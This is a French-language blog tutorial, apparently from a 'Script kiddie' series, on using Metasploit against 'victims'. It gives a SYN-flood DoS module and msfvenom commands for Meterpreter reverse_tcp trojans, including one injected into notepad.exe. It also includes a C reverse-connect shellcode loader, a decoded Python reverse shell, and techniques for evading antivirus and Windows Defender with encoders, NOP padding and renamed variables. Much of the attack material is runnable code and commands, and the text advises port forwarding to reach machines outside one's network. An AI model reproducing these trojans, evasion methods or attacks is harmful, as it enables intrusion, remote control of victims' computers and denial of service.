NOTE Post Réécriture : Cet article, et bien d’autres, fait parti de la série “Script kiddie”. Il a été écrit il y a plusieurs années. Son contenu n’est pas à jour et il contient potentiellement des erreurs. Plus d’information sur la page de présentation de la série.

Metasploit (MSF) est le véritable couteau-suisse des Hackers. Il comprend la plupart des outils nécessaires pour exploiter des machines.

Installer Metasploit

Simplement avec cette commande :

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall; chmod 755 msfinstall; ./msfinstall

Rapide tour de Metasploit

Metasploit est un Framework, il offre donc un ensemble de programme tous accessible depuis un logiciel commun. La particularité de MSF est qu’il s’ajoute à bash (ou autres interpréteurs de commandes), ainsi, il agit comme une véritable console.

Les programmes fournis sont présents dans un dossier et il faut les appeler avant de les exécuter et définir des variables qu’ils pourront utiliser.

Avant toutes choses, MSF a besoin d’une base de donnée afin de stocker certaines données de vos victimes ou d’établir une connexion (ou encore, afin de piéger quelqu’un avec de l’ingénierie sociale).

msfdb init

Cela devrait la démarrer, en cas d’erreur, une petite recherche internet devrait permettre de résoudre le problème.

Démarrer Metasploit :

msfconsole

Comme tous framework, la commande help renvoie des informations utiles sur les différentes nouvelles commandes disponibles.

Pour une fois, je n’expliquerai pas beaucoup pour vous laisser mener vos propres recherches sur ce fantastique logiciel. En effet, un guide de 300 pages ne suffirait pas à couvrir l’entièreté des possibilités qu’offre le programme… Je vous laisse donc lire la page d’aide.

Utilisons notre premier module

Je souhaite réaliser une attaque DOS (Denial of Service) sur un serveur Web. Commençons par chercher un module intéressant pour nos besoins :

search DOS

Cela va nous donner une liste de programme ayant le mot DOS dans leur nom ou leur description

Parmi les nombreuses propositions de cette liste, auxiliary/dos/tcp/synflood semble être la plus intéressante.

Je décide donc de l’utiliser :

use auxiliary/dos/tcp/synflood

Ici, un numéro est attribué à l’auxiliaire, j’aurais donc bien pu taper (dans mon cas) :

use 74

Avec une autre commande, nous allons obtenir la liste des valeurs à donner pour lancer notre petite attaque :

show options

La colonne name désigne le nom de la variable ; current setting, sa valeur ; Required, s’il est obligatoire de le renseigner ; Description, une courte description de la variable (à quoi elle sert). On voit que des valeurs sont déjà renseignées, dans ce type d’attaque, on ne modifie généralement que deux paramètres, RHOST et RPORT, respectivement l’adresse IP de la victime ainsi que le port à viser.

On doit donc les renseigner en fonction de ce que l’on veut :

set RHOST 172.17.0.250
set RPORT 3128

Attention, ce n’est pas parce que je mets RPORT sur 3128 que vous devez le faire. Pour ceux n’ayant aucune connaissance en réseau, le port renvoie à une application spécifique, 3128 n’est qu’un exemple parmi d’autre et seul une analyse avec Nmap vous dira quels services sont présents sur quel port…

Une fois les variables renseignées, il n’y a plus qu’à lancer l’exécution :

exploit

Cet exemple est bien sommaire. Cependant, il vous a sûrement permis de comprendre l’utilisation la plus basique de Metasploit !

Vocabulaire

Metasploit utilise le vocabulaire des hackers, les vrais. Loin de là l’idée que nous sommes des hackers, mais utiliser leur vocabulaire facilitera la compréhension de la documentation.

Payload : (charge utile) il s’agit du code que l’on va injecter à l’intérieur de la machine et qui va servir de pont entre nous et la victime. Le plus connu des payload est meterpreter, avec l’on peut par exemple se balader dans les fichiers, prendre des photos ou carrément installer des logiciels.

Exploit : c’est un code qui va exploiter une vulnérabilité…

Vulnérabilité : Faiblesse d’un système, représente un danger. Les vulnérabilités sont des bouts d’un programme qui sont mal conçus et pour x ou y raison peuvent être exploitables (ou pas)

module : application que l’on peut importer dans Metasploit

Backdoor : Programme installer sur la machine de victime rendant l’accès à son ordinateur plus simple dans le cas où nous devrions y retourner

D’autres mots existent mais ceux-ci demeurent les plus importants à connaître. On verra le reste au fur et à mesure…

Meterpreter, la prise de contrôle de la machine simplifiée

Comme vu plus haut, meterpreter est un payload (mais aussi un shellcode), il va nous permettre de faire la liaison entre notre machine et celle de ma victime. Afin de simplifier la suite, la victime sera une machine sur Windows XP sans antivirus installé sur Virtualbox.

Si on cherche meterpreter dans la liste des modules de Metasploit, on peut voir qu’il existe beaucoup de logiciel l’utilisant. Généralement, pour prendre le contrôle d’une machine à l’aide d’un exécutable, on utilise windows/meterpreter/reverse_tcp. Avant de l’utiliser, il va falloir déjà appeler le programme Handler qui va nous permettre de gérer les payloads hors de la console MSF.

use exploit/multi/handler

Puis enfin :

set payload windows/meterpreter/reverse_tcp

Il y a deux options à remplir impérativement, LHOST et LPORT, c’est-à-dire votre IP et le port que lequel votre machine va écouter en vu d’éventuelle connexion.

Attention : LHOST peut être soit votre IP publique, soit votre IP privé. En effet, pour toutes attaques sur votre réseau, prenez la privée. En revanche, lorsque vous vous attaquez à quelqu’un hors de votre réseau, il va falloir renseigner votre IP publique. De plus, il vous faudra rediriger les ports (port forwarding) pour que la machine extérieure puisse se connecter.

Maintenant que vous êtes des professionnels dans l’utilisation des variables, vous pourrez aisément continuer :)

N’oubliez pas une fois fini de lancer l’attaque.

Passons donc maintenant à la partie fabrication du trojan (cheval de Troie = shellcode).

Ouvrez un nouveau terminal en laissant l’autre de côté.

On va pour se faire utiliser msfvenom (msfpayload + msfencode, pour les anciennes versions).

Le plus simple reste de faire de cette manière :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -f exe > trojan.exe

• -p : payload utilisé
• LHOST : variable, doit prendre la même valeur que dans MSF
• LPORT : variable, doit prendre la même valeur que dans MSF
• -f : format utilisé pour l’application, ici exe
• > trojan.exe : flux de redirection classique Linux + le nom du fichier dans lequel on veut enregistrer notre trojan

Modifiez les paramètres en fonction de ce que vous avez besoin et installez le fichier sur la machine de la victime.

Petite précision, vous pouvez obtenir la liste des différents payload, format ou d’autre chose en utilisant le paramètre -l, ex :

msfvenom -l payloads

Metasploit devrait vous avertir qu’une session est ouverte et vous basculez automatiquement en mode meterpreter. Tapez help pour avoir un aperçu de ce qu’il est possible de faire !

Un cheval de Troie plus complexe

Les trojans que propose Metasploit sont très simples et facilement détectables, il faut donc pratiquer ce qu’on appelle une « évasion ». Évader (je traduis depuis l’anglais où le terme « evading » est utilisé) son cheval de Troie, c’est lui donner la capacité d’outrepasser les antivirus.

Les techniques sont nombreuses et parfois très complexes, je vous en donnerai quelques-unes des miennes…

Commençons par la première, qui va être un peu complexe à comprendre. On va se servir d’un exemple de code lisible produit par Metasploit :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py

Ceci nous renvoie le pavé suivant :

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
... 
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"

Ce n’est toujours pas vraiment très lisible à nos yeux de simple mortel, mais ça l’est déjà plus que si vous essayiez de déchiffrer le format exe. À l’intérieur de ce pavé se trouve ce qu’on appelle des « badchars » (mauvais caractères), et ils sont assez facilement reconnaissables quand vous avez l’habitude de faire des scripts dans ce genre :

• \x00 : bite nulle
• \x0a : nouvelle ligne
• \x0d : retour de chariot (oui ça existe sur un ordinateur)
• \x20 : espace

Pour les enlever automatiquement du code, vous pouvez rajouter l’option -b :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -b “\x00\x0a\x0d\x20”

Metasploit va alors essayer de chiffrer votre cheval de Troie en utilisant un algorithme compatible avec le langage utilisé. Bien sûr, les « encoders » (algorithmes de chiffrement) peuvent faire bien plus que de la suppression de mauvais caractères.

Vous pouvez obtenir la liste de ces algos en tapant :

msfvenom -l encoders

Le meilleur algo de cette liste est sans aucun doute shikata_ga_nai (traduit depuis le japonais : « il ne peut être aidé », phrase populaire japonaise désignant un individu que l’on ne peut sauver du danger en raison de la dette énorme qu’il aurait envers nous).

Vous pouvez utiliser les encoders à l’aide des paramètres -e et -i :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -e x86/shikata_ga_nai -i 10

-i spécifie alors le nombre fois où le cheval de Troie va être chiffré (ici 10). Ne mettez un nombre trop grand, c’est inutile et ça ne fera que ralentir la machine.

Maintenant que nous avons vu comment chiffrer son code à l’aide d’un trojan bien plus simple à comprendre, passons à un code un peu plus brut. Si vous aviez essayé de remplacer l’extension py par exe dans les commandes précédentes pour voir si vous arriveriez à échapper à l’antivirus, vous auriez eu la mauvaise surprise de revoir votre ami Avast s’énerver. Les algorithmes que nous avons utilisés ont beau être performant, ils sont vieux et facilement reconnaissables par les AV. Il va donc falloir truander, une des spécialités du hacker.

Commençons simple, cachons notre bout de code dans un exécutable :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -x notepad.exe -k -f exe -o virus_notepad.exe

Précisions :

• -x : spécifie un exécutable déjà existant dans lequel va s’injecter notre code.
• -k : va permettre au trojan de s’exécuter dans un autre thread (comprenez processus ici) ce qui aura pour effet de laisser l’application principale tourner de son côté sans gêner son exécution.
• -o : spécifie le nom du fichier dans lequel sera enregistré notre projet.

Rentrons maintenant dans des sujets plus complexes pour réussir à faire fonctionner nos trojans évadés.

Structure d’un cheval de Troie

Depuis tout à l’heure, nous parlons de Trojan et je vous donne l’impression d’oublier de grandes parties de Metasploit. N’ayez crainte, tout ce que l’on voit là vous permettra de saisir ce qui se passe sur votre machine ou sur celle de votre victime. Libre à vous dès lors de continuer votre lecture sur Metasploit et de ne pas passer directement à exploit-db, je vous encouragerai plutôt à abandonner cette partie pour le moment et à vous comporter comme un script kiddie pour la simple et unique raison que vous ne retiendrez rien de ce que l’on va étudier avant d’en avoir l’utilité.

Sur un ordinateur, le code que vous exécutez doit être compilé pour que la machine puisse le comprendre. Pour le moment, vous n’avez vu qu’un langage de niveau assez bas, le shell, mais vous savez très bien que l’informatique regorge d’étrangeté parfois inutile.

Ainsi, nous sommes passés de langage comme le C qui était de niveau plutôt bas, à des monstres comme python qui ressemblent presque à la langue anglaise. Comprenez bien que par « niveau » on entend « à quel point est il proche du langage humain ».

Comme vous pouvez le voir sur ce schéma fait maison, l’assembleur est le langage de plus bas niveau possible (hors binaire et matériel). C’est donc le langage le plus proche de ce qu’une machine peut comprendre, mais également le plus dur à comprendre.

Nous allons dès à présent voir en quoi ce langage peut nous être utile pour la fabrication de nos codes malicieux.

Fabriquez donc un petit trojan en python avec msfvenom :

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200

Le résultat obtenu est :

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J...zpzfSkK')[0]))

Si vous décodez depuis base64 le code entre parenthèses, cela vous donnera :

echo "aW1wb3J...zpzfSkK" | base64 -d 

import socket,zlib,base64,struct,time 
for x in range(10): 
       try: 
               s=socket.socket(2,socket.SOCK_STREAM) 
               s.connect(('192.168.1.1',4200)) 
               break 
       except: 
               time.sleep(5) 
l=struct.unpack('>I',s.recv(4))[0] 
d=s.recv(l) 
while len(d)<l: 
       d+=s.recv(l-len(d)) 
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

Ceux qui ont déjà fait du python reconnaîtront les caractéristiques du code :

• importation des librairies nécessaires
• Boucle pour tenter de se connecter à l’IP spécifiée sur le port spécifié
• 5 secondes d’écart entre chaque tentative
• Envoi du shellcode dans la dernière partie

Python est bien pratique car il n’y a aucun besoin de le compiler pour l’envoyer, la machine de la victime s’en chargera tout seul à partir du moment où python est installé sur cette dernière. Mais ce n’est pas toujours le cas (et presque jamais même), il faudra donc passer par un script compiler et pouvant être exécuté par le système d’exploitation de la victime.

Essayons avec ce cheval de Troie pour Linux écrit en C :

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUF_SIZE 500

int main(int argc, char *argv[])
{
  int i = 0;
  char lhost[] = "192.168.1.100";
  int lport = 4200;
  float nb = 2000000.0;
  while(i < nb)
  {
    i++;
  }
  if(i > 100000)
  {
    int sfd;
    char buf[BUF_SIZE];
    struct sockaddr_in servaddr, cli;
    int tmp = 0;

    sfd = socket(AF_INET, SOCK_STREAM, 0);
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    inet_aton(lhost, &servaddr.sin_addr);
    servaddr.sin_port = htons(lport);
    if (connect(sfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != -1)
      0;
    else
      close(sfd);
    while (read(sfd, buf, BUF_SIZE) > 0)
    {
      int (*foo)() = (int(*)())buf; 
      tmp = foo();
    }
  }
}

Remplacer lhost et lport par les valeurs qui conviennent puis compiler avec :

gcc trojan.c -o trojan.out

Essayer d’exécuter le fichier obtenu sur une machine Windows, vous n’y arriverez pas ! Et ceci car la manière dont fonctionnent les exécutables n’est pas la même.

Compilez maintenant avec :

gcc -S trojan.c

Ouvrez ensuite le nouveau fichier trojan.s. Celui-ci est écrit en assembleur et ne doit pas vous sembler très digeste (que ça soit à première vu ou d’un œil avec de l’expérience). C’est vers ce langage qui n’est déjà pas compréhensible que se rapproche votre cheval de Troie quand vous le compilez. Cette petite parenthèse m’a permis, je l’espère, de vous rappeler que tout langage informatique étant exécuté doit d’abord être transformé en quelque chose de digeste pour la machine.

Toutes ces instructions que vous voyez ont pour but de déplacer des données d’une case mémoire à une autre la plupart du temps. Votre processeur, lorsqu’il exécute ce code, le fait de manière purement linéaire. Or, en assembleur, il est possible de rajouter des instructions inutiles (comme dans n’importe quel langage informatique) en déplaçant des valeurs d’un registre à un autre sans réel but. Beaucoup d’antivirus, face à ce genre de mouvements, ne sauront pas reconnaître la dangerosité du programme.

Metasploit possède ce que l’on appelle des NOP (No operation), qui sont un ensemble d’instructions inutiles ajoutées avant un trojan. Ce n’est pas parfait, et les meilleurs NOP seront toujours ceux faits à la main, mais c’est déjà un bon départ. Concrètement, on va juste demander à Metasploit d’ajouter des déclarations de variables à tire-larigot pour brouiller les pistes.

Pour ce faire, utilisez le paramètre -n et spécifiez ensuite le nombre de NOP que vous voulez :

msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -n 30

Vous pouvez également le combiner avec un encoder :

msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -n 30 -e x86/shikata_ga_nai

Accessoirement, évitez de garder les noms de variables inchangés, ils sont beaucoup trop clairs et reconnaissables facilement. Utilisez l’option -v pour les changer :

msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -v ma_variable

Avec ce genre de techniques, vous devriez être capable d’échapper à pas mal d’antivirus.

Évasion

On désigne par évasion, la tentative pour un hacker de contourner la sécurité d’un antivirus. Pour continuer à lire cette partie, il est nécessaire d’avoir les connaissances de base du langage C.

Pour suivre cette partie, nous nous baserons sur un shellcode fait pour Windows. Nous allons essayer de le rendre totalement indétectable pour Windows Defender.

Tout d’abord, générons le code du shell code en C :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f c -e x86/shikata_ga_nai -i 10 -n 30 -v banane R

Il va ensuite falloir inscrire le code à l’intérieur d’un fichier C à l’aide des lignes qui vont suivre. Nous allons ensuite user de différentes stratégies pour casser l’Antivirus (Source française : https://www.kali-linux.fr/forum/index.php?topic=2973.0).

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char * argv[]) {
     unsigned char banane[] =
"\x93\x92\x40\x3f\xfd\xd6\x9b\x90\x9b\xd6\x9b\x9b\x48\x91\x27"
"\x2f\x93\xf5\x43\x3f\xfd\x49\xf8\x2f\x40\x37\x98\x93\x9b\x41"
"\xbd\xf9\xbb\xea\x33\xdb\xde\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x96\x31\x6a\x13\x03\x6a\x13\x83\xc2\xfd\x59\x1f\x88\xab\xab"
...
"\x40\xf6\x13\xf1\x89\x4a\x8e\xe1\xb5\x8a\x42\x98\x01\xf6\x40"
"\x8e\xf2\x1e\x90\x67\x35\xbf\xb3\x33\xba\x31\xd9\xf0\xa0\x45";

     int (*ret)() = (int(*)())banane;
     ret();
     return 1 ;
}

Vous reconnaissez que la ligne unsigned char banane[] correspond au code que vous a renvoyé Metasploit. Si vous changez le nom de la variable, ce que je peux comprendre, car le mot banane n’est pas parmi les meilleurs, n’oubliez pas de le changer également dans le pointeur.

Exploit-db

Exploit-db est une base de donnée regroupant une multitude d’exploitations. Vous n’aurez plus qu’à trouver celui qui convient à votre cas, puis à l’utiliser.

Commandes pour l’installer :

git clone https://github.com/offensive-security/exploitdb.git /opt/exploit-database
ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit

Vous avez la possibilité dès à présent de faire une recherche avec :

searchsploit [exploit]